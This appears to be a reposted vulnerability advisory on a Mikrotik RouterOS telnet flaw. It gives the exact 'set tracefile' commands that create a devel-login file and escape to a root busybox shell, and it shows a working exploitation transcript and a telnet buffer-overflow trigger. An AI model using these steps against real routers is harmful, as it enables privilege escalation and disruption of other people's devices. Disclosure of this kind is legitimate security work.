Mikrotik RouterOS Telnet Arbitrary Root File Creation

Written by khalil on . Posted in Vulnerabilities

Mikrotik RouterOS telnet arbitrary root file creation 0day
===========================& Mikrotik RouterOS telnet arbitrary root file creation 0day
This weakness occurs "post-authentication" and can be used to escape the
restricted shell on Mikrotik devices and escalate "readonly" privileges.
Mikrotik contains a hidden "devel" login option which can be enabled
through use of an "options" package.

An exploitable arbitrary file creation weakness has been identified in
Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit
all known versions of Mikrotik RouterOS. The RouterOS contains a telnet
client based on GNU inetutils with modifications to remove shell subsystem.
However an attacker can leverage the "set tracefile" option to write an
arbitrary file into any "rw" area of the filesystem, escaping the
shell to gain access to a "ash" busybox shell on some versions. The file is
created with root privilieges regardless of the RouterOS defined group.

On versions 4.10 to 5.26 an attacker can enable the "devel" login to escape
the restricted shell by creating the following file:

"set tracefile /nova/etc/devel-login"

On versions 6.0 to 6.40 the same can be achieved with the file:

"set tracefile /flash/nova/etc/devel-login"

This will allow access to a "ash" shell using the "devel" login which has
same password as the "admin" user. Advantages of using this method over
public methods is that it does not require reconfiguration of device via
files or require a system reboot. On versions greater than 6.40 this issue
be exploited to overwrite files such as "user.db" from low-privileged user
accounts to disrupt operation of the device.

On versions above 6.40 this issue can only be leveraged to overwrite files
root due to changes in the "devel-login" now requiring creation of an
folder in a read only partition.

An example of exploitation on impacted devices is shown below:

[admin@MikroTik] > system telnet
telnet> set tracefile /flash/nova/etc/devel-login
tracefile set to "/flash/nova/etc/devel-login".
telnet> quit

Welcome back!
[admin@MikroTik] > system telnet
Connected to
Escape character is '^]'.

MikroTik v6.40.9 (bugfix)
Login: devel

BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.


Errata: an additional advisory accompanying this one references
multiple buffer overflow vulnerabilities in inetutils telnet clients.
The Mikrotik telnet client is also susciptible to these weaknessses. A
trigger for the overflow condition is shown below.

telnet> environ define DISPLAY
telnet> open
Connected to
Escape character is '^]'.

telnet: buffer overflow, losing data, sorry
telnet: ring.cc: 143: int ringbuf::flush(): Assertion `top-bot > 0 &&
top-bot <= count' failed.

Welcome back!
[admin@MikroTik] >

-- Hacker Fantastic